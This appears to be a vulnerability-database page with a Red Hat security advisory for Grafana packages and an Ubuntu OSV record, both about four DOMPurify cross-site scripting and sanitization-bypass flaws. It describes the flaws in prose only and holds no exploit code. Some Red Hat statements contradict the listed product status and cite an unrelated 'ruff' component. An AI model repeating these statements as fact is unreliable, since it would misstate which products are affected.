https://www.cve.org/CVERecord?id=CVE-2026-65898	external
https://nvd.nist.gov/vuln/detail/CVE-2026-65898	external
https://github.com/cure53/DOMPurify/security/advi…	external
https://www.vulncheck.com/advisories/dompurify-be…	external
https://access.redhat.com/security/cve/CVE-2026-65899	self
https://bugzilla.redhat.com/show_bug.cgi?id=2506428	external
https://www.cve.org/CVERecord?id=CVE-2026-65899	external
https://nvd.nist.gov/vuln/detail/CVE-2026-65899	external
https://github.com/cure53/DOMPurify/commit/825e61…	external
https://github.com/cure53/DOMPurify/security/advi…	external
https://www.vulncheck.com/advisories/dompurify-be…	external
https://access.redhat.com/security/cve/CVE-2026-65901	self
https://bugzilla.redhat.com/show_bug.cgi?id=2506432	external
https://www.cve.org/CVERecord?id=CVE-2026-65901	external
https://nvd.nist.gov/vuln/detail/CVE-2026-65901	external
https://github.com/cure53/DOMPurify/security/advi…	external
https://www.vulncheck.com/advisories/dompurify-cr…	external
https://access.redhat.com/security/cve/CVE-2026-65902	self
https://bugzilla.redhat.com/show_bug.cgi?id=2506431	external
https://www.cve.org/CVERecord?id=CVE-2026-65902	external
https://nvd.nist.gov/vuln/detail/CVE-2026-65902	external
https://github.com/cure53/DOMPurify/commit/7996f1…	external
https://github.com/cure53/DOMPurify/security/advi…	external
https://www.vulncheck.com/advisories/dompurify-be…	external

JSON

To clipboard

{
  "document": {
    "aggregate_severity": {
      "namespace": "https://access.redhat.com/security/updates/classification/",
      "text": "Moderate"
    },
    "category": "csaf_security_advisory",
    "csaf_version": "2.0",
    "distribution": {
      "text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
      "tlp": {
        "label": "WHITE",
        "url": "https://www.first.org/tlp/"
      }
    },
    "lang": "en",
    "notes": [
      {
        "category": "summary",
        "text": "An update for Red Hat Hardened Images RPMs is now available.",
        "title": "Topic"
      },
      {
        "category": "general",
        "text": "This update includes the following RPMs:\n\ngrafana13.1:\n  * grafana13.1-13.1.3-0.1.3.hum1 (aarch64, x86_64)\n  * grafana13.1-13.1.3-0.1.3.hum1.src (src)",
        "title": "Details"
      },
      {
        "category": "legal_disclaimer",
        "text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
        "title": "Terms of Use"
      }
    ],
    "publisher": {
      "category": "vendor",
      "contact_details": "https://access.redhat.com/security/team/contact/",
      "issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
      "name": "Red Hat Product Security",
      "namespace": "https://www.redhat.com"
    },
    "references": [
      {
        "category": "self",
        "summary": "https://access.redhat.com/errata/RHSA-2026:58502",
        "url": "https://access.redhat.com/errata/RHSA-2026:58502"
      },
      {
        "category": "external",
        "summary": "https://images.redhat.com/",
        "url": "https://images.redhat.com/"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-65902",
        "url": "https://access.redhat.com/security/cve/CVE-2026-65902"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/updates/classification/",
        "url": "https://access.redhat.com/security/updates/classification/"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-65898",
        "url": "https://access.redhat.com/security/cve/CVE-2026-65898"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-65899",
        "url": "https://access.redhat.com/security/cve/CVE-2026-65899"
      },
      {
        "category": "external",
        "summary": "https://access.redhat.com/security/cve/CVE-2026-65901",
        "url": "https://access.redhat.com/security/cve/CVE-2026-65901"
      },
      {
        "category": "self",
        "summary": "Canonical URL",
        "url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_58502.json"
      }
    ],
    "title": "Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update",
    "tracking": {
      "current_release_date": "2026-08-25T09:33:23+00:00",
      "generator": {
        "date": "2026-08-25T09:33:23+00:00",
        "engine": {
          "name": "Red Hat SDEngine",
          "version": "5.3.16"
        }
      },
      "id": "RHSA-2026:58502",
      "initial_release_date": "2026-08-22T14:06:09+00:00",
      "revision_history": [
        {
          "date": "2026-08-22T14:06:09+00:00",
          "number": "1",
          "summary": "Initial version"
        },
        {
          "date": "2026-08-22T14:35:01+00:00",
          "number": "2",
          "summary": "Last updated version"
        },
        {
          "date": "2026-08-25T09:33:23+00:00",
          "number": "3",
          "summary": "Last generated version"
        }
      ],
      "status": "final",
      "version": "3"
    }
  },
  "product_tree": {
    "branches": [
      {
        "branches": [
          {
            "branches": [
              {
                "category": "product_name",
                "name": "Red Hat Hardened Images",
                "product": {
                  "name": "Red Hat Hardened Images",
                  "product_id": "Red Hat Hardened Images",
                  "product_identification_helper": {
                    "cpe": "cpe:/a:redhat:hummingbird:1"
                  }
                }
              }
            ],
            "category": "product_family",
            "name": "Red Hat Hardened Images"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "grafana13-1-main@aarch64",
                "product": {
                  "name": "grafana13-1-main@aarch64",
                  "product_id": "grafana13-1-main@aarch64",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/grafana13.1@13.1.3-0.1.3.hum1?arch=aarch64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-aarch64-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "aarch64"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "grafana13-1-main@src",
                "product": {
                  "name": "grafana13-1-main@src",
                  "product_id": "grafana13-1-main@src",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/grafana13.1@13.1.3-0.1.3.hum1?arch=src\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-source-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "src"
          },
          {
            "branches": [
              {
                "category": "product_version",
                "name": "grafana13-1-main@x86_64",
                "product": {
                  "name": "grafana13-1-main@x86_64",
                  "product_id": "grafana13-1-main@x86_64",
                  "product_identification_helper": {
                    "purl": "pkg:rpm/redhat/grafana13.1@13.1.3-0.1.3.hum1?arch=x86_64\u0026distro=hummingbird-20251124\u0026repository_id=public-hummingbird-x86_64-rpms"
                  }
                }
              }
            ],
            "category": "architecture",
            "name": "x86_64"
          }
        ],
        "category": "vendor",
        "name": "Red Hat"
      }
    ],
    "relationships": [
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "grafana13-1-main@aarch64 as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:grafana13-1-main@aarch64"
        },
        "product_reference": "grafana13-1-main@aarch64",
        "relates_to_product_reference": "Red Hat Hardened Images"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "grafana13-1-main@src as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:grafana13-1-main@src"
        },
        "product_reference": "grafana13-1-main@src",
        "relates_to_product_reference": "Red Hat Hardened Images"
      },
      {
        "category": "default_component_of",
        "full_product_name": {
          "name": "grafana13-1-main@x86_64 as a component of Red Hat Hardened Images",
          "product_id": "Red Hat Hardened Images:grafana13-1-main@x86_64"
        },
        "product_reference": "grafana13-1-main@x86_64",
        "relates_to_product_reference": "Red Hat Hardened Images"
      }
    ]
  },
  "vulnerabilities": [
    {
      "cve": "CVE-2026-65898",
      "cwe": {
        "id": "CWE-79",
        "name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
      },
      "discovery_date": "2026-07-23T14:01:36.457690+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2506436"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in DOMPurify. When the `setConfig()` function is used with an `uponSanitizeAttribute` hook, the `ALLOWED_ATTR` allowlist is not properly cloned. This allows an attacker to register a hook that can permanently modify the shared allowlist, enabling the conditional allowance of dangerous attributes. Consequently, an attacker can submit untrusted content that inherits the polluted allowlist, leading to stored Cross-site Scripting (XSS) and the execution of event handlers.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "dompurify: DOMPurify: Cross-site scripting via permanent attribute allowlist pollution",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This vulnerability in DOMPurify allows for cross-site scripting due to improper handling of the `ALLOWED_ATTR` allowlist. When the `setConfig()` function is used with an `uponSanitizeAttribute` hook, the allowlist can be permanently mutated, enabling attackers to inject dangerous attributes and execute stored XSS.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-65898"
        },
        {
          "category": "external",
          "summary": "RHBZ#2506436",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506436"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-65898",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65898"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-65898",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65898"
        },
        {
          "category": "external",
          "summary": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882",
          "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/dompurify-before-permanent-attribute-allowlist-pollution-via-setconfig",
          "url": "https://www.vulncheck.com/advisories/dompurify-before-permanent-attribute-allowlist-pollution-via-setconfig"
        }
      ],
      "release_date": "2026-07-23T13:16:17.715000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-22T14:06:09+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:58502"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 5.4,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "dompurify: DOMPurify: Cross-site scripting via permanent attribute allowlist pollution"
    },
    {
      "cve": "CVE-2026-65899",
      "cwe": {
        "id": "CWE-79",
        "name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
      },
      "discovery_date": "2026-07-23T14:01:09.534995+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2506428"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in DOMPurify where the clearConfig() function does not properly reset the retained Trusted Types policy. This can lead to a DOMPurify instance, when reused across different security contexts, remaining bound to a previously supplied and potentially unsafe policy. An attacker could leverage this to execute malicious scripts, resulting in client-side arbitrary code execution.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "dompurify: DOMPurify: Client-side arbitrary code execution due to improper Trusted Types policy reset",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This flaw in DOMPurify, concerning improper Trusted Types policy reset, could lead to client-side arbitrary code execution. However, Red Hat products are not affected by this vulnerability, as indicated by the delegated resolution for the `ruff` component within Red Hat Hard Hat Images.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-65899"
        },
        {
          "category": "external",
          "summary": "RHBZ#2506428",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506428"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-65899",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65899"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-65899",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65899"
        },
        {
          "category": "external",
          "summary": "https://github.com/cure53/DOMPurify/commit/825e617753ac1169306a542d3174a77f717a0cf6",
          "url": "https://github.com/cure53/DOMPurify/commit/825e617753ac1169306a542d3174a77f717a0cf6"
        },
        {
          "category": "external",
          "summary": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-vxr8-fq34-vvx9",
          "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-vxr8-fq34-vvx9"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/dompurify-before-trusted-types-policy-state-contamination",
          "url": "https://www.vulncheck.com/advisories/dompurify-before-trusted-types-policy-state-contamination"
        }
      ],
      "release_date": "2026-07-23T13:16:18.389000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-22T14:06:09+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:58502"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "dompurify: DOMPurify: Client-side arbitrary code execution due to improper Trusted Types policy reset"
    },
    {
      "cve": "CVE-2026-65901",
      "cwe": {
        "id": "CWE-79",
        "name": "Improper Neutralization of Input During Web Page Generation (\u0027Cross-site Scripting\u0027)"
      },
      "discovery_date": "2026-07-23T14:01:23.186814+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2506432"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in DOMPurify. This cross-site scripting (XSS) vulnerability exists in IN_PLACE mode, where the software trusts attacker-controlled nodeName on live non-form nodes. A remote attacker can supply hostile live Document Object Model (DOM) objects with script children. These scripts can execute when the sanitized tree is inserted into a live document, potentially leading to information disclosure or arbitrary code execution.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "dompurify: DOMPurify: Cross-site scripting vulnerability via attacker-controlled nodeName",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This cross-site scripting (XSS) vulnerability in DOMPurify arises when the library is used with `IN_PLACE: true` on attacker-supplied live DOM nodes. An attacker can manipulate a script child node\u0027s `nodeName` to bypass sanitization, leading to arbitrary script execution when the sanitized tree is inserted into a live document. This impacts Red Hat products that process untrusted live DOM content using DOMPurify in this specific configuration.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-65901"
        },
        {
          "category": "external",
          "summary": "RHBZ#2506432",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506432"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-65901",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65901"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-65901",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65901"
        },
        {
          "category": "external",
          "summary": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-x4vx-rjvf-j5p4",
          "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-x4vx-rjvf-j5p4"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/dompurify-cross-site-scripting-via-in-place-nodename",
          "url": "https://www.vulncheck.com/advisories/dompurify-cross-site-scripting-via-in-place-nodename"
        }
      ],
      "release_date": "2026-07-23T13:16:19.721000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-22T14:06:09+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:58502"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "dompurify: DOMPurify: Cross-site scripting vulnerability via attacker-controlled nodeName"
    },
    {
      "cve": "CVE-2026-65902",
      "cwe": {
        "id": "CWE-915",
        "name": "Improperly Controlled Modification of Dynamically-Determined Object Attributes"
      },
      "discovery_date": "2026-07-23T14:01:18.981314+00:00",
      "ids": [
        {
          "system_name": "Red Hat Bugzilla ID",
          "text": "2506431"
        }
      ],
      "notes": [
        {
          "category": "description",
          "text": "A flaw was found in DOMPurify. An attacker can exploit a vulnerability in how DOMPurify handles its sanitization hooks when default configurations are used. By manipulating the uponSanitizeElement or uponSanitizeAttribute hooks, an attacker can permanently alter the allowed HTML tags and attributes. This allows malicious content to bypass sanitization, potentially leading to cross-site scripting (XSS) attacks and compromising the integrity of web applications.",
          "title": "Vulnerability description"
        },
        {
          "category": "summary",
          "text": "dompurify: DOMPurify: Sanitization bypass via hook manipulation",
          "title": "Vulnerability summary"
        },
        {
          "category": "other",
          "text": "This flaw in DOMPurify allows an attacker to bypass sanitization by manipulating internal hooks, leading to potential cross-site scripting (XSS) vulnerabilities. The issue permanently alters the default allow-lists for the DOMPurify instance when default configurations are used. Red Hat products, including Red Hat Hardened Images, are not affected by this vulnerability.",
          "title": "Statement"
        },
        {
          "category": "general",
          "text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
          "title": "CVSS score applicability"
        }
      ],
      "product_status": {
        "fixed": [
          "Red Hat Hardened Images:grafana13-1-main@aarch64",
          "Red Hat Hardened Images:grafana13-1-main@src",
          "Red Hat Hardened Images:grafana13-1-main@x86_64"
        ]
      },
      "references": [
        {
          "category": "self",
          "summary": "Canonical URL",
          "url": "https://access.redhat.com/security/cve/CVE-2026-65902"
        },
        {
          "category": "external",
          "summary": "RHBZ#2506431",
          "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2506431"
        },
        {
          "category": "external",
          "summary": "https://www.cve.org/CVERecord?id=CVE-2026-65902",
          "url": "https://www.cve.org/CVERecord?id=CVE-2026-65902"
        },
        {
          "category": "external",
          "summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-65902",
          "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65902"
        },
        {
          "category": "external",
          "summary": "https://github.com/cure53/DOMPurify/commit/7996f1dc78eb8b7922388aed75d94a9f8fad9a36",
          "url": "https://github.com/cure53/DOMPurify/commit/7996f1dc78eb8b7922388aed75d94a9f8fad9a36"
        },
        {
          "category": "external",
          "summary": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-76mc-f452-cxcm",
          "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-76mc-f452-cxcm"
        },
        {
          "category": "external",
          "summary": "https://www.vulncheck.com/advisories/dompurify-before-hook-mutation-pollution-via-allowedtags",
          "url": "https://www.vulncheck.com/advisories/dompurify-before-hook-mutation-pollution-via-allowedtags"
        }
      ],
      "release_date": "2026-07-23T13:16:20.528000+00:00",
      "remediations": [
        {
          "category": "vendor_fix",
          "date": "2026-08-22T14:06:09+00:00",
          "details": "For details on how to apply this update, which includes the changes described in this advisory, refer to:\nhttps://images.redhat.com/",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ],
          "restart_required": {
            "category": "none"
          },
          "url": "https://access.redhat.com/errata/RHSA-2026:58502"
        },
        {
          "category": "workaround",
          "details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base, or stability.",
          "product_ids": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "scores": [
        {
          "cvss_v3": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.1,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "LOW",
            "integrityImpact": "LOW",
            "privilegesRequired": "NONE",
            "scope": "CHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
            "version": "3.1"
          },
          "products": [
            "Red Hat Hardened Images:grafana13-1-main@aarch64",
            "Red Hat Hardened Images:grafana13-1-main@src",
            "Red Hat Hardened Images:grafana13-1-main@x86_64"
          ]
        }
      ],
      "threats": [
        {
          "category": "impact",
          "details": "Moderate"
        }
      ],
      "title": "dompurify: DOMPurify: Sanitization bypass via hook manipulation"
    }
  ]
}

ubuntu-cve-2026-65898

Vulnerability from osv_ubuntu

Published

2026-07-23 14:18

Modified

2026-07-29 08:01

Summary

Details

Severity

7.2 (High)


                    
                      CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

5.1 (Medium)


                    
                      CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

N/A (UNKNOWN)


                    
                      medium

References

URL

Type

	https://ubuntu.com/security/CVE-2026-65898	REPORT
	https://www.cve.org/CVERecord?id=CVE-2026-65898	REPORT
	https://github.com/cure53/DOMPurify/security/advi…	REPORT

JSON

To clipboard

{
  "affected": [
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "node-dompurify",
            "binary_version": "2.3.3+dfsg-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:22.04:LTS",
        "name": "node-dompurify",
        "purl": "pkg:deb/ubuntu/node-dompurify@2.3.3+dfsg-1?arch=source\u0026distro=jammy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.3.0+dfsg-2",
        "2.3.3+dfsg-1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "node-dompurify",
            "binary_version": "3.0.9+dfsg+~3.0.5-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:24.04:LTS",
        "name": "node-dompurify",
        "purl": "pkg:deb/ubuntu/node-dompurify@3.0.9+dfsg+~3.0.5-1?arch=source\u0026distro=noble"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.4.1+dfsg+~2.4.0-1",
        "3.0.9+dfsg+~3.0.5-1"
      ]
    },
    {
      "ecosystem_specific": {
        "binaries": [
          {
            "binary_name": "node-dompurify",
            "binary_version": "3.3.3+dfsg-1"
          }
        ]
      },
      "package": {
        "ecosystem": "Ubuntu:26.04:LTS",
        "name": "node-dompurify",
        "purl": "pkg:deb/ubuntu/node-dompurify@3.3.3+dfsg-1?arch=source\u0026distro=resolute"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.1.7+dfsg+~3.0.5-2",
        "3.3.3+dfsg-1"
      ]
    }
  ],
  "aliases": [],
  "details": "DOMPurify before 3.4.11 fails to clone the ALLOWED_ATTR allowlist when setConfig() is used with an uponSanitizeAttribute hook, allowing the hook to permanently mutate the shared allowlist. Attackers can register a hook that conditionally allows dangerous attributes like onerror for trusted elements, then submit untrusted content that inherits the polluted allowlist and executes event handlers as stored XSS.",
  "id": "UBUNTU-CVE-2026-65898",
  "modified": "2026-07-29T08:01:44Z",
  "published": "2026-07-23T14:18:00Z",
  "references": [
    {
      "type": "REPORT",
      "url": "https://ubuntu.com/security/CVE-2026-65898"
    },
    {
      "type": "REPORT",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65898"
    },
    {
      "type": "REPORT",
      "url": "https://github.com/cure53/DOMPurify/security/advisories/GHSA-cmwh-pvxp-8882"
    }
  ],
  "related": [],
  "schema_version": "1.7.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N",
      "type": "CVSS_V4"
    },
    {
      "score": "medium",
      "type": "Ubuntu"
    }
  ],
  "upstream": [
    "CVE-2026-65898"
  ]
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
